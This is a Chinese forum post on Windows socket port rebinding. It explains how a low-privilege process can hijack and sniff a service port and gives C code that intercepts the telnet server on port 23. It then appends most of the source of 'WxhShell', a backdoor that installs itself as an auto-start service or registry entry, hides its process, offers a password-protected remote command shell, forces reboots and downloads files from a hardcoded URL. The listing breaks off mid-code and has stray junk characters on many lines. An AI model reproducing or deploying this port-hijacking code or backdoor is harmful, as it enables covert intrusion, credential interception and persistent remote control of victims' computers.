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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 'YcoF;&[C  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); pK~K>8\  
s!d"(K9E  
  saddr.sin_family = AF_INET; _jW}p-j  
\D37l_  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); K8UgP?c;0  
.w`1;o  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); _DK%-,Spu  
MQv2C@K9F  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Uxq9H  
G=lket6  
  这意味着什么?意味着可以进行如下的攻击: IW.~I,!x  
z5G$'  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 KF"&9nB  
k-b0Eogp]  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ^sNj[%I R  
8W|qm;J98  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。  OBY  
l 6;}nG  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Q`dzn=  
9*+%Qt,{B  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 fr1/9E;  
xJ|3}o:,  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 NiwJ$Ah~X  
/OpVr15  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 S;vE %  
:Qg3B ';  
  #include J0e~s  
  #include RQZ|:SvV  
  #include ~ l'dpg  
  #include    k{op,n#  
  DWORD WINAPI ClientThread(LPVOID lpParam);   4&Uq\,nx  
  int main() +@Oo)#V|.  
  { Kzw )Q  
  WORD wVersionRequested; EPQ~V  
  DWORD ret; g9fS|T  
  WSADATA wsaData; $ePBw~yu  
  BOOL val; G &'eP  
  SOCKADDR_IN saddr; H*DWDJxmV  
  SOCKADDR_IN scaddr; D2`tWRm0  
  int err; f((pRP   
  SOCKET s; XCNfogl  
  SOCKET sc; MX%D %} N  
  int caddsize; xhAORhw#  
  HANDLE mt; ?qeBgkL(B^  
  DWORD tid;   +X4O.6Mn  
  wVersionRequested = MAKEWORD( 2, 2 ); s }]qlg  
  err = WSAStartup( wVersionRequested, &wsaData ); l:O6`2Z  
  if ( err != 0 ) { s6(iiB%d  
  printf("error!WSAStartup failed!\n");  q$$:<*Uy  
  return -1; F)we^'X  
  } x(/KHpSWK  
  saddr.sin_family = AF_INET; 2 0Xqs,  
   gWo`i  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 I*/?*p/I  
EK^B=)q6:W  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); pSQ)DqW  
  saddr.sin_port = htons(23); 78v4c Q Y  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) WxE4r  
  { TO.71x|  
  printf("error!socket failed!\n"); 4WV'\R+m  
  return -1; )P:r;a'  
  } yub|   
  val = TRUE; C3n_'O  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 H[ 6L!  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) "HRoS#|\  
  { ), >jBYMJ  
  printf("error!setsockopt failed!\n"); wD}ojA&DU  
  return -1; |=C&JA  
  } lsV9-)yyl  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ;P9P2&c8c  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ~n:dHK`  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 =HT:p:S  
C9-IJj  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ?*i qg[:  
  { cd8~y  
  ret=GetLastError(); cPh U q ET  
  printf("error!bind failed!\n"); yoKl.U"&  
  return -1; TqbDj|7`R  
  } ^qL2Q*  
  listen(s,2); p@H]F<  
  while(1) 7\sJ=*  
  { <qD/ #$   
  caddsize = sizeof(scaddr); ITj0u&H:  
  //接受连接请求 zGrUl|j  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); HC0q_%j  
  if(sc!=INVALID_SOCKET) dmHpF\P5f  
  { tGGv 2TCEy  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 2|vArRKt  
  if(mt==NULL) 7 jq?zS|  
  { VUXG%511T  
  printf("Thread Creat Failed!\n"); w%=GdA=  
  break; i>!7/o  
  } i6R2R8  
  } *I;,|Jjk  
  CloseHandle(mt); x`@!hJc:[e  
  } & 2MI(9v  
  closesocket(s); =M"H~;f]  
  WSACleanup(); (Dr g  
  return 0; kt8P\/~*i  
  }   70p1&Y7or  
  DWORD WINAPI ClientThread(LPVOID lpParam) 8'Dp3x^W>  
  { 1:<=zqh0  
  SOCKET ss = (SOCKET)lpParam; s`* 'JM<  
  SOCKET sc; :'aT 4  
  unsigned char buf[4096]; 1iq,Gd-G.  
  SOCKADDR_IN saddr; Fw!wSzsk3  
  long num; T9r"vw  
  DWORD val; SVsLu2tVY  
  DWORD ret; n}9vAvC  
  //如果是隐藏端口应用的话,可以在此处加一些判断 t3ua5xw  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   _{CMWo"l  
  saddr.sin_family = AF_INET; :fI|>I ~  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); {@Y|"qIN  
  saddr.sin_port = htons(23); DA)+)PhY7K  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) zoXCMBg[  
  { < aeBhg%  
  printf("error!socket failed!\n"); T'9I&h%\  
  return -1; <ijf':X=*  
  } OgJd^  
  val = 100; ~_WsjD0O  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) hS]g^S==2h  
  { }X{#=*$GQ  
  ret = GetLastError(); Jlw<% }r  
  return -1; :.kc1_veYS  
  } VU+`yQp  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) N9LBji;nH  
  { vK2sj1Hzr  
  ret = GetLastError(); z @\C/wX  
  return -1; p2T%Zl_  
  } $qkV u  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) g_lj/u]P  
  { Oo'IeXQ9(  
  printf("error!socket connect failed!\n"); @UCI^a~w  
  closesocket(sc); tins.D  
  closesocket(ss); N3?hyR<T  
  return -1; _t<&#D~  
  } >ZMB}pt`  
  while(1) 2e_ssBbb  
  { D<}z7W-  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 S9~X#tpKe  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 }{>)2S  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 y]|Hrx  
  num = recv(ss,buf,4096,0); S a5+_TW  
  if(num>0) `"CIy_m  
  send(sc,buf,num,0); 6*`KC)a  
  else if(num==0) 'n`+R~Kkh  
  break; \lj.vzD-A  
  num = recv(sc,buf,4096,0); , 'WhF-  
  if(num>0) *_G(*yAe(  
  send(ss,buf,num,0); $OI 6^  
  else if(num==0) #+)AIf  
  break; L ]HtmI  
  }  8bQ\7jb  
  closesocket(ss); i}cqV B?r  
  closesocket(sc); g)7~vm2/,  
  return 0 ; )!+M\fT  
  } ^0A}iJL  
W;~ f865  
p=F!)TnJN  
========================================================== +/u)/ey  
2$=U#!OtU  
下边附上一个代码,,WXhSHELL x*}41;j}C  
B/"TaXVU  
========================================================== }j=UO*|  
eVL #3|=  
#include "stdafx.h" T(LqR?xOo  
uTsxSkHb/  
#include <stdio.h> @qP uYFnw  
#include <string.h> ~s.~X5  
#include <windows.h> 0ws1S(pq  
#include <winsock2.h> ZL!,s#  
#include <winsvc.h> Y0nnn  
#include <urlmon.h> w>-@h>Ln  
ze* =7  
#pragma comment (lib, "Ws2_32.lib") <2b&AF{En  
#pragma comment (lib, "urlmon.lib") {wUbr^  
f3,qDbQyJ  
#define MAX_USER   100 // 最大客户端连接数 pib i#  
#define BUF_SOCK   200 // sock buffer W 7xh  
#define KEY_BUFF   255 // 输入 buffer Hzm<KQ g  
 |tK_Bn  
#define REBOOT     0   // 重启 6"3-8orj   
#define SHUTDOWN   1   // 关机 'G] P09`*)  
Jo%`N#jG   
#define DEF_PORT   5000 // 监听端口 hw2'.}B"(  
ie<zc+*rW  
#define REG_LEN     16   // 注册表键长度 Uh6LU5  
#define SVC_LEN     80   // NT服务名长度 8 $5 y]%!  
YUGE>"{  
// 从dll定义API }s+ t*z  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); eBlWwUy*6f  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); +0,'B5 (E  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); .>QzM>zO  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); y!z2+q2  
@= E~`  
// wxhshell配置信息 F~bDA~  
struct WSCFG { [z:.52@!  
  int ws_port;         // 监听端口 #%Hk-a=>)#  
  char ws_passstr[REG_LEN]; // 口令 a$=BX=  
  int ws_autoins;       // 安装标记, 1=yes 0=no W4OL{p-\/  
  char ws_regname[REG_LEN]; // 注册表键名 fyt ODsb>  
  char ws_svcname[REG_LEN]; // 服务名 Y"{L&H `  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 _\/KI /  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 GtuA94=!V&  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 q?R^~r  
int ws_downexe;       // 下载执行标记, 1=yes 0=no )2z<5 `  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" /D d.C<F  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ?g{--'L  
^`~s#L7  
}; pwF+ZNo  
N F$k~r  
// default Wxhshell configuration LoUHStt  
struct WSCFG wscfg={DEF_PORT, }4uHT.)  
    "xuhuanlingzhe", "*U0xnI  
    1, jo-2D[Q{  
    "Wxhshell", A ".v+  
    "Wxhshell", 1 5heLnei  
            "WxhShell Service", 6N49q -.Lg  
    "Wrsky Windows CmdShell Service", ]KQv ]'  
    "Please Input Your Password: ", qix$ }(P  
  1, )_&P:;N  
  "http://www.wrsky.com/wxhshell.exe", bIWSNNV0F  
  "Wxhshell.exe" R7o'V* d  
    }; FNN7[ku!  
ybC0Ee@  
// 消息定义模块 &%UZ"CcA  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; -Qy@-s $  
char *msg_ws_prompt="\n\r? for help\n\r#>"; H9\,;kM)  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; >]L\Bw  
char *msg_ws_ext="\n\rExit."; !.G knDT  
char *msg_ws_end="\n\rQuit."; h]Y,gya[yk  
char *msg_ws_boot="\n\rReboot..."; lC=-1*WH  
char *msg_ws_poff="\n\rShutdown..."; lt{D f~c  
char *msg_ws_down="\n\rSave to "; 1gA^Qv~?  
8I}ATc  
char *msg_ws_err="\n\rErr!"; y$}o{VE{x  
char *msg_ws_ok="\n\rOK!"; %ws@t"aER  
2@6Qifxd@  
char ExeFile[MAX_PATH]; u}">b+{!  
int nUser = 0; b}3t8?wG&  
HANDLE handles[MAX_USER]; e#AmtheZR  
int OsIsNt; dHkI9;  
BM o2t'L  
SERVICE_STATUS       serviceStatus; FvJkb!5*e_  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; K0{ ,*>C  
|})v, o B  
// 函数声明 ?orLc,pU^  
int Install(void); G+1i~&uV  
int Uninstall(void); g5;Ig  
int DownloadFile(char *sURL, SOCKET wsh); m@y<wk(  
int Boot(int flag); &X6hOc:``\  
void HideProc(void); \>tx:;D3  
int GetOsVer(void); <c&Nm_)  
int Wxhshell(SOCKET wsl); Y6`^E  
void TalkWithClient(void *cs); %,+&Kl I  
int CmdShell(SOCKET sock); 7fC:' 1]G  
int StartFromService(void); eUKl(  
int StartWxhshell(LPSTR lpCmdLine); 2@!B;6*8q  
%l3f .  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); vawS5b;  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ]m :Y|,:6  
hs*n?vxp3  
// 数据结构和表定义 vO)]~AiB  
SERVICE_TABLE_ENTRY DispatchTable[] = X>i{288M3  
{ e8eNef L$  
{wscfg.ws_svcname, NTServiceMain}, Ki>XLX,er=  
{NULL, NULL} P @~)9W  
}; ]wUH*\(y  
*LEI@  
// 自我安装 :W9a t  
int Install(void) %R<xe.X  
{ t[/APm-k~>  
  char svExeFile[MAX_PATH]; *mkVk7]c  
  HKEY key; 4>Y*owa4  
  strcpy(svExeFile,ExeFile); (W.G&VSn)  
r&_e3#]*  
// 如果是win9x系统,修改注册表设为自启动 3a'#Z4Z-  
if(!OsIsNt) { 4+Jf!ovS=  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )|GYxG;8C  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !xU[BCbfYV  
  RegCloseKey(key); 3U'l'H,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { lHFk~Qp[  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #itZ~tol  
  RegCloseKey(key); iZ4"@G:,  
  return 0; wlEK"kKU  
    } ?KWo1  
  } p*U!94Pb  
} .vie#,la  
else { W^pf 1I8[  
YRCOh:W*  
// 如果是NT以上系统,安装为系统服务 F_0@S h"  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); #8$" 84&N.  
if (schSCManager!=0) 1--Ka& H  
{ T!i$nI&  
  SC_HANDLE schService = CreateService $EL:Jx2<  
  ( uDLj*U6L  
  schSCManager, h@TP=  
  wscfg.ws_svcname, UjMWSPEBy  
  wscfg.ws_svcdisp, m ?*h\NaB  
  SERVICE_ALL_ACCESS, tO?-@Qf/9<  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , '.jYu7   
  SERVICE_AUTO_START, &A=c[pc  
  SERVICE_ERROR_NORMAL, .#Z"Sj  
  svExeFile, DG}s`'  
  NULL, :? s{@7  
  NULL, &Mz]y?k'  
  NULL, 3"sXN)j  
  NULL, +|TXKhm{  
  NULL ErgWsAw-  
  ); Er - rm  
  if (schService!=0) 4_# (y^9  
  { 4K 8(H9(  
  CloseServiceHandle(schService); YABi`;R]'  
  CloseServiceHandle(schSCManager); >s )L(DHa"  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Xkk 8#Y":  
  strcat(svExeFile,wscfg.ws_svcname); oArXP\#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { P#V}l'j(<a  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); [Zzztn+  
  RegCloseKey(key); @>8 {J6%\  
  return 0; J/3$I  
    } c^&4m[?C[u  
  } s< Fp17  
  CloseServiceHandle(schSCManager); )1YX+',"  
} bkz/V/Y  
} dn:\V?9  
G&t|aY-   
return 1; nB 0KDt_  
} wEN[o18{  
H7k@Br  
// 自我卸载 FGhnK'  
int Uninstall(void) c]i;0j? Dl  
{ ))nTd=  
  HKEY key; ,6o tm  
gGN 6Yqj0  
if(!OsIsNt) { < +k dL  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { i29a1nD4Hm  
  RegDeleteValue(key,wscfg.ws_regname); }Oqt=Wm  
  RegCloseKey(key); 27}7 n  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { (;H% r &  
  RegDeleteValue(key,wscfg.ws_regname); fJ6Q:7  
  RegCloseKey(key); a7=lZZ?  
  return 0; ; ), ,Hk  
  } `C$QR 8  
} Mvp|S.  
} {[hgSVN ;  
else { b|;h$otC  
(_6JQn  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); JT~Dr KI_  
if (schSCManager!=0) F,Ve,7kh  
{ )vpYVr-  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); >YsM'.EFD  
  if (schService!=0) >yVp1Se  
  { )jt?X}  
  if(DeleteService(schService)!=0) { ,el[A`b  
  CloseServiceHandle(schService); IGi9YpI&K  
  CloseServiceHandle(schSCManager); jw 5 U-zi  
  return 0; ^~6gkS }  
  } mahNQ5W*)  
  CloseServiceHandle(schService); ^SW9J^9  
  } Hs_7oy|P  
  CloseServiceHandle(schSCManager);  q*C-DiV  
} `%EcQ}Nr  
} #&fu"W+D96  
mdo$d-d&  
return 1; Q1x15pVku/  
} -t>"s'kv  
-WR<tkK  
// 从指定url下载文件 JfK4|{@  
int DownloadFile(char *sURL, SOCKET wsh) ^".6~{  
{ I_kA!^  
  HRESULT hr; {"2CI^!/U.  
char seps[]= "/"; Qw }1mRv  
char *token; qZ +K4H  
char *file;  qmenj  
char myURL[MAX_PATH]; -_eG/o=M  
char myFILE[MAX_PATH]; -YmIRocx  
td23Z1Elk#  
strcpy(myURL,sURL); g5u4|+70  
  token=strtok(myURL,seps); X#K;(.},h  
  while(token!=NULL) q)KOI` A  
  { ,'9R/7%s  
    file=token; eH[i<Z  
  token=strtok(NULL,seps); K{V.N</  
  } ;DVg[#  
:^xNHMp!  
GetCurrentDirectory(MAX_PATH,myFILE); *[BtW5 6-  
strcat(myFILE, "\\"); P=\Hi.]%  
strcat(myFILE, file); gW9`k,U  
  send(wsh,myFILE,strlen(myFILE),0); R,=8)OI2  
send(wsh,"...",3,0); q">}3`k  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); zjSl;ru  
  if(hr==S_OK) 7zJ2n/`m*  
return 0; IN;9p w  
else `&xdSH  
return 1; Uj3HAu  
8lS RK%  
} wzJdS}Yy!y  
\Sv|yQUT  
// 系统电源模块 6A}tA$*s7  
int Boot(int flag) 25 :vc0  
{ n%i L+I  
  HANDLE hToken; `D$^SHfyz  
  TOKEN_PRIVILEGES tkp; o_[~{@RoR  
2;3&&yK2b  
  if(OsIsNt) { W- nS{v(  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); fwMYEj  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Ro<x#Uo  
    tkp.PrivilegeCount = 1; [McqwU/Q  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; a" T+CA  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); &-JIXVd*R  
if(flag==REBOOT) { -S&9"=v  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) a1u4v/Qu9  
  return 0; mH5>50H;  
} ^tWSu?9  
else { 6d2e WS  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) *.+F]-  
  return 0; _`0DO4IU  
} }d iE'  
  } lA;^c)  
  else { lN{>.q@V`r  
if(flag==REBOOT) { +aPe)U<t  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) N'$P( bx  
  return 0; P4c3kO0  
} 8>D*U0sNl  
else { B,%KvL&xMX  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) E}a.qM'  
  return 0; 4^4T#f2=e  
} B4+c3M\$V  
} pv&iJ7RN  
1/qD5 *`Y  
return 1; 8ph1xQ'  
} pY&dw4V  
?hR0 MnP  
// win9x进程隐藏模块 8m `Y  
void HideProc(void) ,# .12Q!  
{ JP {`^c  
jUR* |  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); }1+2&Ps50  
  if ( hKernel != NULL ) g}K/ba'  
  { XFl&(I4tB  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); MPyDG"B*  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); -eS r  
    FreeLibrary(hKernel); g 2'K3e?.%  
  } 1&7?f  
O:RN4/17  
return; ) =x4+)9  
} 589fr"Ma,6  
j \d)#+;  
// 获取操作系统版本 Zy:q)'D=  
int GetOsVer(void) m39.j:BG5  
{ 2Dvq3VbiO"  
  OSVERSIONINFO winfo; O&~ @ior  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); nmE H/a  
  GetVersionEx(&winfo); R%)F9P$o  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ^8 -,S[az  
  return 1; f;l}Z|dok6  
  else wN/v-^2  
  return 0; 9L4;#cy  
} u(? U[pe[  
A=e1uBGA  
// 客户端句柄模块 k]RQ 7e  
int Wxhshell(SOCKET wsl) 7v0VZ(UR  
{ wgvCgr<  
  SOCKET wsh; l=S!cj;  
  struct sockaddr_in client; p} eO  
  DWORD myID; "[7'i<,AI  
CL-?Mi=Uc  
  while(nUser<MAX_USER) g/P1lQ)  
{ *`/4KMrq  
  int nSize=sizeof(client); \9od*y  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); U7f o4y1}  
  if(wsh==INVALID_SOCKET) return 1; _+7P"B|\  
mL'A$BR`  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); QyZ' %T5J  
if(handles[nUser]==0) ]iFW>N*a  
  closesocket(wsh); D@[#7:rHL  
else -HuIz6  
  nUser++; HJpx,NU'  
  } (dO0`wfM  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); yGC HWP  
}NdLd!  
  return 0; !,5qAGi0  
} DZb0'+jQ  
aM,g@'.=  
// 关闭 socket JnnxXj30,  
void CloseIt(SOCKET wsh) -qpM 6t  
{ ;<E?NBV^  
closesocket(wsh); ]rg-=Y k  
nUser--; ymqn1ja1  
ExitThread(0); O<Ay`p5  
} ! /|B4Yv  
Ag2Q!cq  
// 客户端请求句柄 H/8u?OC  
void TalkWithClient(void *cs) > #9 a&O  
{ BrzTOkeyG  
j/E(*Hv  
  SOCKET wsh=(SOCKET)cs; oq1wU@n  
  char pwd[SVC_LEN]; l-h[I>TW  
  char cmd[KEY_BUFF]; cP@H8|c=  
char chr[1]; fmUrwI1 %  
int i,j; ^r7KEeVD  
29|nt1Z  
  while (nUser < MAX_USER) { L/vw7XNrX  
N#R8ez`  
if(wscfg.ws_passstr) { GU Mf}y  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _@y9=e  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); M.)z;[3O  
  //ZeroMemory(pwd,KEY_BUFF); G2@'S&2@s  
      i=0; ]<q!pE;t  
  while(i<SVC_LEN) { [" ocZ? x  
I {%( G(  
  // 设置超时 $,I@c"m{  
  fd_set FdRead; JEZ0O&_R  
  struct timeval TimeOut; n>SK2`  
  FD_ZERO(&FdRead); [<f9EeziB  
  FD_SET(wsh,&FdRead); Zx6h%l,%  
  TimeOut.tv_sec=8; gssEdJ  
  TimeOut.tv_usec=0; H{EZ} *{M4  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); #Wb4*  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ~52'iI)Mw  
0 EA3> $;  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); v"Ryg]^_  
  pwd=chr[0]; \]\GDpu[  
  if(chr[0]==0xd || chr[0]==0xa) { la$%%@0/  
  pwd=0; Bw[IW[(~!  
  break; 8hyX He  
  } XZ(<Mo\v  
  i++; jr-9KxE  
    } 37M,Os1(  
']OT7)_  
  // 如果是非法用户,关闭 socket mfDt_Iq  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); *Id[6Z  
} RgM=g8}M  
~rAcT6#  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); V^}$f3\B  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  Sb)}  
 5pHv5e  
while(1) { V;~\+@  
Lo}/k}3Sx  
  ZeroMemory(cmd,KEY_BUFF); _Ii=3Qsf  
6D{70onY+  
      // 自动支持客户端 telnet标准   * $1F|G  
  j=0; X>]<rEh  
  while(j<KEY_BUFF) { 0+e 0<'  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2:yXeSeA  
  cmd[j]=chr[0]; X1V~.k vt)  
  if(chr[0]==0xa || chr[0]==0xd) { hOdU%  
  cmd[j]=0; 2G3Hi;q18  
  break; Wm)Id_  
  } I: MrX  
  j++; uOd1:\%*  
    } Ak O-PL  
a,fcR<  
  // 下载文件 C!^;%VQ}d  
  if(strstr(cmd,"http://")) { ?TmVLny  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); %?S[{ 4A&  
  if(DownloadFile(cmd,wsh)) v+<4?]EJ  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); sdgI ,  
  else Az>r}*F Gr  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Mdu\ci)lr  
  } ,. <c|5R  
  else { BcQw-<veu  
X%7l! k[  
    switch(cmd[0]) { RYl\Q,#  
  4 .(5m\s!  
  // 帮助 ~!%G2E!  
  case '?': { <si cldz  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); @;S)j!m`  
    break; q+w] Xs;  
  } fM*aZc*Y  
  // 安装 eqWs(`  
  case 'i': { <9;X1XtpI  
    if(Install()) Ngm/5Lc  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); rvb@4-i>iI  
    else .n?i' 8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?dCJv_w  
    break; ~BnmAv$m[  
    } W3R43>$  
  // 卸载 lJS3*x#H  
  case 'r': { QlH[_Pi  
    if(Uninstall()) C]na4yE 8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H87k1^}HV  
    else !D/W6Ic@  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); v|3mbApv  
    break; C9>^!?>  
    } -Gm}i8;  
  // 显示 wxhshell 所在路径 f67pvyy -  
  case 'p': { %PK(Z*>  
    char svExeFile[MAX_PATH]; 4v#s!W  
    strcpy(svExeFile,"\n\r"); =~21.p  
      strcat(svExeFile,ExeFile); eX0 [C0#  
        send(wsh,svExeFile,strlen(svExeFile),0); <LX-},?P  
    break; d%p{l)Hd  
    } Y"m}=\4{  
  // 重启 dw| VH1fS  
  case 'b': { 98UI]? 4  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); +NOq>kH@  
    if(Boot(REBOOT)) 4:kDBV;v  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1ZvXRJ)%  
    else { %F:; A  
    closesocket(wsh); gf/<sH2}  
    ExitThread(0); fA), ^  
    } /\E3p6\*  
    break; nD=N MqQ &  
    } =%b1EY k  
  // 关机 .j"@7#tW  
  case 'd': { LftGA7uGJ)  
